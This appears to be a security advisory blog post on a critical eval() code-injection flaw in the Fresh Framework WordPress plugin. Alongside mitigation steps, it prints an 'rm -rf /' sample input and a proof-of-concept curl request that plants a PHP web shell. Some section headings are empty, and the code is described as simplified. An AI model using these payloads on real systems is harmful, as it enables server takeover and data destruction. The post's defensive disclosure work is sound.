CVE-2025-26936: Critical Code Injection Vulnerability in Fresh Framework

CVE-2025-26936 is a critical code injection vulnerability (CWE-94: Improper Control of Generation of Code) affecting the Fresh Framework WordPress plugin, versions up to and including 1.70.0. This vulnerability allows unauthenticated attackers to execute arbitrary code remotely on a target system, potentially leading to full compromise of the affected website.

The vulnerability has a CVSS v3.1 score of 10.0 (Critical), with the following characteristics:

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed
• Confidentiality, Integrity, and Availability Impact: High

As of this writing, the vulnerability remains unpatched, and users are strongly advised to deactivate the plugin immediately and explore alternative solutions.

Technical Details

Affected Systems

The vulnerability affects the following:

• Plugin: Fresh Framework
• Versions: All versions up to and including 1.70.0
• Platform: WordPress

Vulnerable Component

The issue lies in the Fresh Framework plugin's handling of user-supplied input in its custom code execution functionality. Specifically, the plugin fails to properly sanitize and validate input before passing it to PHP's eval() function, enabling attackers to inject and execute arbitrary PHP code.

CVSS Vector Breakdown

Root Cause Analysis

The root cause of CVE-2025-26936 is the improper handling of user input within a specific function of the Fresh Framework plugin. Below is a simplified example of the vulnerable code:

// Vulnerable function in Fresh Framework
function execute_custom_code($user_input) {
    // Directly passing user input to eval()
    eval($user_input);
}

Why This is Dangerous

The eval() function is inherently dangerous because it executes arbitrary PHP code. When user-supplied input is passed to eval() without proper sanitization or validation, it creates a code injection vulnerability. An attacker can craft malicious input to execute arbitrary commands, such as:

// Example of malicious input
$user_input = "system('rm -rf /');";

When passed to eval(), this input would execute the system() function, deleting all files on the server.

Exploitation Flow

1. An attacker sends a specially crafted HTTP request containing malicious PHP code.
2. The vulnerable function processes the input and passes it to eval() without sanitization.
3. The injected code is executed on the server, allowing the attacker to perform arbitrary actions.

Exploitation Techniques

Proof of Concept (PoC)

Below is a step-by-step example of how an attacker could exploit this vulnerability:

1. Identify the vulnerable endpoint:
   The attacker identifies an endpoint in the Fresh Framework plugin that calls the vulnerable execute_custom_code() function.

2. Craft a malicious payload:
   The attacker crafts a payload to execute arbitrary PHP code. For example:

   <?php
   $payload = "file_put_contents('shell.php', '<?php system($_GET[\"cmd\"]); ?>');";
   ?>
   

3. Send the payload:
   The attacker sends the payload to the vulnerable endpoint using a tool like curl:

   curl -X POST -d "user_input=file_put_contents('shell.php', '<?php system($_GET[\"cmd\"]); ?>');" http://target-site.com/vulnerable-endpoint
   

4. Access the backdoor:
   The attacker accesses the uploaded shell via http://target-site.com/shell.php and executes commands by appending ?cmd=<command> to the URL.

Real-World Impact

• Website Defacement: Attackers can modify website content or inject malicious scripts.
• Data Theft: Sensitive data, such as user credentials and payment information, can be exfiltrated.
• Server Takeover: Attackers can gain full control of the server, using it for malicious purposes like hosting phishing sites or launching further attacks.

Mitigation Strategies

Immediate Actions

1. Deactivate the Plugin:

   • Disable the Fresh Framework plugin immediately to prevent exploitation.
   • Use the WordPress admin dashboard or FTP to deactivate the plugin.

2. Scan for Indicators of Compromise (IoC):

   • Check for unexpected files, such as shell.php, in the WordPress installation directory.
   • Review server logs for suspicious activity.

3. Backup and Restore:

   • Create a backup of the website.
   • Restore from a clean backup if compromise is suspected.

Long-Term Recommendations

1. Replace the Plugin:

   • Look for alternative plugins with similar functionality and a strong security track record.

2. Apply Web Application Firewall (WAF) Rules:

   • Use a WAF to block malicious requests targeting the vulnerability.

3. Follow Security Best Practices:

   • Regularly update plugins and themes.
   • Use strong, unique passwords for all accounts.
   • Implement the principle of least privilege for user roles.

Timeline of Discovery and Disclosure

Comparative Analysis

CVE-2025-26936 is reminiscent of other code injection vulnerabilities, such as CVE-2019-16759 (vBulletin RCE). Both vulnerabilities exploit improper input handling and the use of dangerous functions like eval(). However, CVE-2025-26936 is particularly severe because it requires no authentication or user interaction, making it easier to exploit.

References

1. NVD Entry for CVE-2025-26936
2. SolidWP Vulnerability Report
3. Patchstack Advisory

Disclaimer: This blog post is for informational purposes only. Always consult with security professionals before implementing any mitigation strategies.